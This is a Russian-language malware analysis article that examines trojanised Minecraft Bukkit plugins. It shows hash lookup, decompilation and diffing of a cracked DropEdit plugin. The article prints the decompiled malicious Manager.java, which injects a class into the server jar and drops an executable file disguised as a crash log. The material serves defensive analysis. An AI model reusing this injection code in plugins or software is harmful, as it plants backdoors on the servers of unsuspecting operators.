Охота на криперов. Изучаем образцы малвари для Minecraft

Содержание статьи

  • Поиск семплов
  • DropEdit 1.10.4
  • HidePl 1.0
  • ManageChat 1.1
  • RealFakePlayers 1.0.0
  • Выводы

Вез­десущая мал­варь доб­ралась до уют­ных миров Minecraft. Что­бы оце­нить мас­штаб бедс­твий, я иссле­довал нес­коль­ко пой­ман­ных ана­лити­ками сем­плов. Про­читав статью, ты узна­ешь, сто­ит ли доверять слу­чай­ным модифи­каци­ям и как самос­тоятель­но рас­познать опас­ные при­ложе­ния на Java, даже если им уда­лось обхитрить твой анти­вирус.  

Поиск семплов

Я верю в глу­бокое изу­чение кон­крет­ных сем­плов. Поэто­му пер­вым делом я решил поис­кать анти­вирус, соз­данный спе­циаль­но для поль­зовате­лей «Май­нкраф­та». Нес­коль­ко ути­лит лечили пос­ледс­твия ата­ки печаль­но извес­тно­го Fracturiser. Но есть и анти­вирус обще­го наз­начения — MCAntiMalware.

Это сер­верное при­ложе­ние на Java, которое про­веря­ет хеши фай­лов и нес­коль­ко видов сиг­натур. Меня инте­ресу­ет толь­ко его база, которая лежит по адре­су srcmainresourcesdatabase.db. База сох­ранена в фор­мате SQLite, так что откро­ем ее через бес­плат­ный SQLite Browser.

В таб­лице BlacklistedChecksums видим набор хешей SHA-1. У меня нет дос­тупа к базам VirusTotal (напиши мне, если у тебя есть!), так что будем искать хеши в Google. Хешей все­го лишь 349 штук. Мож­но было бы написать скрипт, но я решил, что быс­трее будет про­верить их вруч­ную. Сегод­ня погово­рим о най­ден­ных сем­плах.

 

DropEdit 1.10.4

SHA1: C471E7A958305B003A16459EDD59C9C552F56DAB

Это взло­ман­ный вари­ант плат­ного пла­гина для Bukkit — популяр­ного заг­рузчи­ка модов для сер­веров Minecraft. Я поис­кал по име­ни пла­гина его копии и на каком‑то богом забытом форуме нашел вер­сию 1.10.3. Закиды­ваем файл JAR в деком­пилятор JD-GUI и получа­ем исходный код прог­раммы. В боль­шинс­тве слу­чаев JD-GUI хорошо справ­ляет­ся со сво­ей задачей, но при ошиб­ках деком­пиляции мож­но исполь­зовать дру­гие инс­тру­мен­ты.

При ком­пиляции Java сох­раня­ет име­на перемен­ных и фун­кций. Они могут быть замене­ны сто­рон­ним обфуска­тором. Так­же код может быть спря­тан за Base64 или бес­смыс­ленной Unicode-стро­кой и рас­шифро­вывать­ся по мере исполне­ния. Подоб­ных трю­ков впол­не дос­таточ­но, что­бы счи­тать файл подоз­ритель­ным.

Код обе­их вер­сий выг­лядит похожим, но во вред­ной вер­сии есть какие‑то встав­ки, которые надо выч­ленить. Для это­го я рас­паковал деком­пилиро­ван­ные исходни­ки (они сох­раня­ются в виде ZIP) и заг­рузил обе пап­ки в инс­тру­мент срав­нения WinMerge.

Од­нако добав­ленные деком­пилято­ром ком­мента­рии мешали срав­нению, так как встав­ленные номера строк и пути к исходным фай­лам не сов­пада­ют. Поэто­му я убрал их при помощи регуляр­ных выраже­ний. Обыч­но я тес­тирую их на сай­те regex101. Вот как это мож­но сде­лать.

/* Location: C:UsersadminDesktopminecraftDropEdit_1.10.4.jar!deLinus122DropEditCmd.class * Java compiler version: 8 (52.0) * JD-Core Version: 1.1.3 */

Этот блок лег­ко пой­мать регуляр­кой /* Location: [^/]+*/. В ней ловим конец ком­мента­рия пос­ле стро­ки Location, забирая все сим­волы, кро­ме обратно­го сле­ша.

/* */ public Manager(Plugin pl) {/* 27 */ InputStream is = pl.getResource("config_default.yml");/* */

Та­ким же обра­зом выреза­ются ком­мента­рии с номером стро­ки. Для это­го подой­дет регуляр­ка /*[d ]+*/, в которой мы забира­ем про­белы и циф­ры меж­ду звез­дочек со сле­шами. Я исполь­зовал Notepad++ для поис­ка и замены регуляр­ных выраже­ний во всех фай­лах в пап­ке, но с этим спра­вит­ся любой сов­ремен­ный редак­тор тек­ста.

Ре­зуль­тат срав­нения

Сно­ва срав­нив пап­ки в WinMerge, теперь видим толь­ко раз­личия в коде. В заражен­ной вер­сии при­сутс­тву­ет новый файл: Manager.java. Прог­нав резуль­тат работы деком­пилято­ра через CodeBeautify, получа­ем тот же код, но с кра­сивым фор­матиро­вани­ем:

public void onEnable() { ReflectionUtils utils = new ReflectionUtils(); types = utils.loadEntityTypes(); if (isUnix(System.getProperty("os.name")));// (...)public static boolean isUnix(String OS) { return !(OS.indexOf("nix") < 0 && OS.indexOf("nux") < 0 && OS.indexOf("aix") <= 0);}

В отли­чие от осталь­ных сем­плов, этот про­веря­ет, что он исполня­ется на Unix.

package de.Linus122.DropEdit;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;import java.io.Writer;import java.net.URI;import java.nio.charset.StandardCharsets;import java.nio.file.FileSystem;import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.OpenOption;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.StandardOpenOption;import java.util.HashMap;import java.util.Map;import org.apache.commons.io.IOUtils;import org.bukkit.Bukkit;import org.bukkit.plugin.Plugin;public class Manager { public Manager(Plugin pl) { InputStream is = pl.getResource("config_default.yml"); String jar = (new File(Bukkit.class.getProtectionDomain().getCodeSource().getLocation().getPath())).getName(); try { File dir; Map < String, String > env = new HashMap < > (); env.put("create", "true"); Path path = Paths.get(jar, new String[0]); URI uri = URI.create("jar:" + path.toUri()); Exception exception1 = null, exception2 = null; try { FileSystem fs = FileSystems.newFileSystem(uri, env); try { Path nf = fs.getPath("org/bukkit/craftbukkit/Main2.class", new String[0]); Exception exception3 = null, exception4 = null; try { Writer writer = Files.newBufferedWriter(nf, StandardCharsets.ISO_8859_1, new OpenOption[] { StandardOpenOption.CREATE }); try { while (true) { int value = is.read(); if (value == -1) break; writer.write(value); } } finally { if (writer != null) writer.close(); } } finally { exception4 = null; if (exception3 == null) { exception3 = exception4; } else if (exception3 != exception4) { exception3.addSuppressed(exception4); } } } finally { if (fs != null) fs.close(); } } finally { exception2 = null; if (exception1 == null) { exception1 = exception2; } else if (exception1 != exception2) { exception1.addSuppressed(exception2); } } File fileOUT = new File(dir.getPath(), "crash-2017-06-01_22.06.22-server.txt"); InputStream is2 = pl.getResource("old_config.txt"); OutputStream os = new FileOutputStream(fileOUT); IOUtils.copy(is2, os); dir.setReadable(true, true); dir.setWritable(true, true); dir.setExecutable(true, true); fileOUT.setReadable(true, true); fileOUT.setWritable(true, true); fileOUT.setExecutable(true, true); } catch (Exception exception) {} }}

Об­рати вни­мание на импорт. Работа с фай­ловой сис­темой или сетью нап­рямую всег­да нас­торажи­вает. Легаль­ному пла­гину незачем вылезать за пре­делы ресур­сов игры или отправ­лять дан­ные через сеть, и такое поведе­ние всег­да намека­ет на воз­можную вре­донос­ную активность.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *